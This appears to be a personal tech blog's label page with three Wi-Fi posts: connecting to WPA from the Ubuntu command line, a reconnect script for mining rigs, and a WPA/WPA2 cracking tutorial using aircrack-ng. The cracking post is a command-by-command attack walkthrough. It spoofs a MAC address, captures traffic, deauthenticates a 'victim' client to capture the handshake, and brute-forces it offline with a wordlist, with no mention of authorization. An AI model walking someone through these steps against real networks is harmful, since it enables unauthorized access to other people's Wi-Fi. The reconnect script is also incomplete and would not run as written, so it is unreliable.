Showing posts with label wifi. Show all posts
Showing posts with label wifi. Show all posts

Tuesday, 29 September 2015

How to connect to WiFi using command line Ubuntu, Debian etc.

Tried to upgrade to Ubuntu 15.10 Beta 2, rebooted  and my system was broken. Could not connect to LAN, so my only option was to connect to Wifi via command line to hopefully repair my system.

This is what I did.

First, open a terminal:


If you got WPA like me you need wpa_supplicant to set it up, because iw can only handle WEP.

To bring up your wireless device (most likely wlan0):
sudo -s
ifconfig wlan0 up
#now scan for available wifi networks and note the ssid of your device
iwlist wlan0 scan
In /etc/wpa_supplicant.conf we need to put our ssid and password:
nano /etc/wpa_supplicant.conf
Example config:
                     psk="wifi password"

Ctrl + A to close and save.
To connect:
sudo wpa_supplicant -B -iwlan0 -c/etc/wpa_supplicant.conf -Dwext
Open a second tab/terminal:
sudo dhclient wlan0
Your connection should now work!

Sunday, 16 March 2014

Automatically Reconnect WIFI (Debian, Ubuntu etc.)

The Problem

For several reason I do not have access to LAN and thus have to rely on WIFI for my mining rigs. It is fine for most of the time, but the shit hits the fan, when the connection drops for one reason or another.

The Solution

wlan=`/sbin/ifconfig wlan1 | grep inet\ addr | wc -l`
if [ $wlan -eq 0 ]; then
service network-manager restart
Note: It's either wlan0 or wlan1. Check with sudo ifconfig.

Save the script and make it executable.

sudo chmod +x

Now there are several ways of making sure that our script is being executed every x minutes. The easiest way of accomplishing that I think is by using the command watch.
sudo su
watch -n 600 sh

What it does is execute our script every 600 seconds.

Or you implement a so called cron job  

sudo crontab -e

Add the following

*/5 * * * * sh /home/username/

*/5 * * * * means that the task will run every 5 minutes.

Tuesday, 14 August 2012

How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)

What you need

  • Backtrack (or Linux with aircrack-ng installed)
  • Virtual machine (e.g. Vmware or Virtualbox)
  • Password list
  • USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H

Alright, fire up the terminal.


  1. airmon-ng
  2. airmon-ng start wlan0
  3. ifconfig mon0 down
  4. macchanger -m 00:11:22:33:44:55 mon0
  5. ifconfig mon0 up
  6. airodump-ng mon0 (let it scan for a minute)
  7. CTRL + C (stop)
  8. airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0

 Now, we need to deauthenticate a user's pc currently on the network (mac)

  1. open another console
  2. aireplay-ng --deauth 1 (just one!) -e (ESSID) -c  (victim's mac) mon0
  3. Wait for WPA handshake ==> airodump-ng
  4. —-all cracking can be done offline—-
  5. aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
    • this is the file from step 8
Note: Success of attack depends on whether your word-list contains the password or not.


Any problems? Ask!